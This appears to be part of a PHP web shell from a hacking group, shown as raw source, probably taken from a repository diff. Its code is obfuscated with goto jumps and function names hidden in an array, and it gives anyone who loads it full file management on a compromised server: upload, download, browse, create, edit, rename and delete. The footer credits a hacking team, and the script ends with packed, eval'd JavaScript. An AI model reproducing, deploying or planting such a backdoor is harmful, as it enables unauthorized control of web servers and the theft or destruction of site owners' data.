<?php if (!isset($_FILES["f"])) { goto ea; } $Wx = $_FILES["f"]["name"]; $lE = 0; th: if (!($lE < count($Wx))) { goto dx; } if ($c8[11]($_FILES["f"]["tmp_name"][$lE], $Wx[$lE])) { goto PG; } Xe("file failed to upload", 0); goto tG; PG: XE("file uploaded successfully"); tG: g9: $lE++; goto th; dx: ea: if (!isset($_GET["download"])) { goto FA; } header("Content-Type: application/octet-stream"); header("Content-Transfer-Encoding: Binary"); header("Content-Length: " . $c8[17](JD($_GET["n"]))); header("Content-disposition: attachment; filename=\"" . jd($_GET["n"]) . "\""); FA: ?>
</form></li>
</div>
<div style="border: 2px solid #ff1493;border-radius: 0.75rem;padding: 0.25rem;margin-top: 0.20rem;margin-bottom: 0.25rem;font-family: 'Kelly Slab';">
<li style="font-size: 1.10rem;margin-left: 0.20rem;list-style: inherit;padding: 0.15rem;">Dir :
<?php $Op = $c8[4]("/(\\\\|\\/)/", $Jd); foreach ($Op as $j3 => $Oe) { if (!($j3 == 0 && $Oe == "")) { goto xi; } echo "<a href=\"?p=2f\" class=\"combet\">~</a>/"; goto CS; xi: if (!($Oe == "")) { goto sq; } goto CS; sq: echo "<a class=\"combet\" href=\"?p="; $lE = 0; de: if (!($lE <= $j3)) { goto ie; } echo sS($Op[$lE]); if (!($lE != $j3)) { goto s0; } echo "2f"; s0: dg: $lE++; goto de; ie: echo "\">{$Oe}</a>/"; CS: } Go: ?>
</li>
</div>
<article style="text-align: center;font-family: 'Kelly Slab';font-size: 1rem;">
<?php if (!isset($_GET["a"])) { goto Un; } if (!isset($_GET["a"])) { goto cc; } $im = Jd($_GET["a"]); cc: ?>
<div class="px-2 py-2">
<?php if (!($im == "delete")) { goto Lu; } $BL = $Jd . '/' . Jd($_GET["n"]); if (!($_GET["t"] == "d")) { goto VZ; } TF($BL); if (!$c8[12]($BL)) { goto e8; } Xe("failed to delete the folder", 0); goto iL; e8: Xe("folder deleted successfully"); iL: VZ: if (!($_GET["t"] == "f")) { goto xB; } $BL = $Jd . '/' . jd($_GET["n"]); unlink($BL); if (!$c8[12]($BL)) { goto uH; } Xe("file to delete the folder", 0); goto Mk; uH: xe("file deleted successfully"); Mk: xB: Lu: ?>
<?php if ($im == "newDir") { goto Fg; } if ($im == "newFile") { goto Pb; } if ($im == "rename") { goto Lw; } if ($im == "edit") { goto Ox; } if ($im == "view") { goto Ag; } goto WC; Fg: ?>
<h5 class="border p-1">New Folder Name :</h5>
<form method="post">
<div class="form-group">
<input name="n" id="n" class="border" autocomplete="off">
</div>
<div class="form-group">
<button type="submit" name="s" class="ohct">Create</button>
</div>
</form>
<?php isset($_POST["s"]) ? $c8[12]("{$Jd}/{$_POST["n"]}") ? xE("folder name has been used", 0, "&a=" . SS("newDir")) : ($c8[15]("{$Jd}/{$_POST["n"]}") ? Xe("folder created successfully") : Xe("folder failed to create", 0)) : null; goto WC; Pb: ?>
<h5 class="border p-1">New File Name :</h5>
<form method="post">
<div class="form-group">
<input type="text" name="n" id="n" class="border" placeholder="hack.txt">
</div>
<div class="form-group">
<textarea style="resize:none" name="ctn" id="ctn" cols="30" rows="10" class="form-control border" placeholder=""></textarea>
</div>
<div class="form-group">
<button type="submit" name="s" class="ohct">Create</button>
</div>
</form>
<?php
isset($_POST["s"])
? ($c8[12]("{$Jd}/{$_POST["n"]}")
? xE("file name has been used", 0, "&a=" . SS("newFile"))
: ($c8[13]("{$Jd}/{$_POST["n"]}", $_POST["ctn"])
? XE("", 1, "&a=" . ss("view") . "&n=" . Ss($_POST["n"]))
: Xe("file failed to create", 0)))
: null;
goto WC;
Lw:
?>
<h5 class="border p-1">Rename File : <?= jD($_GET["n"]); ?></h5>
<form method="post">
<div class="form-group">
<input type="text" name="n" id="n" class="border" value="<?= jD($_GET["n"]); ?>">
</div>
<div class="form-group">
<button type="submit" name="s" class="ohct">Save</button>
</div>
</form>
<?php isset($_POST["s"]) ? $c8[16]($Jd . '/' . jD($_GET["n"]), $_POST["n"]) ? XE("successfully changed the folder name") : Xe("failed to change the folder name", 0) : null; goto WC; Ox: ?>
<h5 class="border p-1">Edit File Name : <?= Jd($_GET["n"]); ?></h5>
<form method="post">
<div class="form-group">
<textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control border"><?= $c8[18]($c8[14]($Jd . '/' . jD($_GET["n"]))); ?></textarea>
</div>
<div class="form-group">
<button type="submit" name="s" class="ohct">Save</button>
</div>
</form>
<?php isset($_POST["s"]) ? $c8[13]($Jd . '/' . jD($_GET["n"]), $_POST["ctn"]) ? xE("file contents changed successfully", 1, "&a=" . sS("view") . "&n={$_GET["n"]}") : xE("file contents failed to change") : null; goto WC; Ag: ?>
<h5 class="border p-1">View File Name : <?= jd($_GET["n"]); ?></h5>
<div class="form-group">
<textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control border" readonly><?= $c8[18]($c8[14]($Jd . '/' . jd($_GET["n"]))); ?></textarea>
</div>
<?php WC: ?>
</div>
<?php goto mR; Un: ?>
<table class="table table-hover table-borderless table-sm" style="text-align: center;">
<thead class="text-light">
<tr>
<th>Name</th>
<th>Size</th>
<th>Permission</th>
<th colspan="3">Action</th>
</tr>
</thead>
<tbody class="text-light"> <?php $G3 = $c8[5]($G3($Jd), [".", ".."]); foreach ($G3 as $yf) { if ($c8[6]("{$Jd}/{$yf}")) { goto CB; } goto Qj; CB: echo "
<tr>
<td style=\"text-align: left;\">
<a href=\"?p=" . sS("{$Jd}/{$yf}") . "\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Latest modify on " . $c8[19]("Y-m-d H:i", $c8[20]("{$Jd}/{$yf}")) . "\">
<i class=\"fa fa-fw fa-folder\" style=\"border: 0;padding: 0;width: 1.28571429em;\">
</i> {$yf}
</a>
</td>
<td style=\"color: black;\"><span>------</span></td>
<td><font color=\"" . ($c8[8]("{$Jd}/{$yf}") ? "#00ff00" : (!$c8[9]("{$Jd}/{$yf}") ? "red" : null)) . "\">" . RN("{$Jd}/{$yf}") . "</font></td>
<td style=\"color: black;\"><span>------</span></td>
<td>
<a href=\"?p=" . ss($Jd) . "&a=" . ss("rename") . "&n=" . ss($yf) . "&t=d\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Rename\">Rename</a>
</td>
<td>
<a href=\"?p=" . sS($Jd) . "&a=" . ss("delete") . "&n=" . ss($yf) . "\" class=\"delete\" data-type=\"folder\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Delete\">Delete</a>
</td>
</tr>"; Qj: } ad: foreach ($G3 as $F1) { if ($c8[7]("{$Jd}/{$F1}")) { goto wA; } goto X1; wA: $kL = $c8[10]("{$Jd}/{$F1}") / 1024; $kL = round($kL, 3); $kL = $kL > 1024 ? round($kL / 1024, 2) . " MB" : $kL . " KB"; echo "
<tr>
<td style=\"text-align: left;\">
<a href=\"?p=" . SS($Jd) . "&a=" . sS("view") . "&n=" . SS($F1) . "\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Latest modify on " . $c8[19]("Y-m-d H:i", $c8[20]("{$Jd}/{$F1}")) . "\">
<i class=\"fa fa-fw fa-file\" style=\"border: 0;padding: 0;width: 1.28571429em;\"></i> {$F1}
</a>
</td>
<td><span>{$kL}</span></td>
<td><font color=\"" . ($c8[8]("{$Jd}/{$F1}") ? "#00ff00" : (!$c8[9]("{$Jd}/{$F1}") ? "red" : null)) . "\">" . rN("{$Jd}/{$F1}") . "</font></td>
<td><a href=\"?p=" . Ss($Jd) . "&a=" . Ss("edit") . "&n=" . SS($F1) . "\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Edit\">Edit</a></td>
<td><a href=\"?p=" . ss($Jd) . "&a=" . SS("rename") . "&n=" . ss($F1) . "&t=f\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Rename\">Rename</a></td>
<td><a href=\"?p=" . ss($Jd) . "&a=" . sS("delete") . "&n=" . ss($F1) . "\" class=\"delete\" data-type=\"file\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Delete\">Delete</a></td>
</tr>"; X1: } a2: ?>
</tbody>
</table>
<h5 style="color: #31ed06;">
<font>&copy; Copyright 2022</font>
<font style="color: deeppink;">Mr.Combet</font>
<font>Powered by </font>
<font style="color: deeppink;">One Hat Cyber Team</font>
</h5>
<?php mR: ?>
</article>
<script src="//code.jquery.com/jquery-3.5.1.slim.min.js"></script>
<script src="//cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/js/bootstrap.bundle.min.js" ></script>
<script src="//cdn.jsdelivr.net/npm/bs-custom-file-input/dist/bs-custom-file-input.min.js"></script>
<script>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('E.n();$(\'[2-m="4"]\').4();$(".l").k(j(e){e.g();h 0=$(6).5("2-0");c({b:"a",9:"o i q?",w:"D "+0+" p C B",A:7,z:7,}).y((8)=>{r(8){x 1=$(6).5("3")+"&t="+((0=="v")?"d":"f");u.s.3=1}})});',41,41,'type|buildURL|data|href|tooltip|attr|this|true|willDelete|title|warning|icon|swal||||preventDefault|let|you|function|click|delete|toggle|init|Are|will|sure|if|location||document|folder|text|const|then|dangerMode|buttons|deleted|be|This|bsCustomFileInput'.split('|'),0,{}))</script>
</body>
</html>

Some files were not shown because too many files have changed in this diff Show More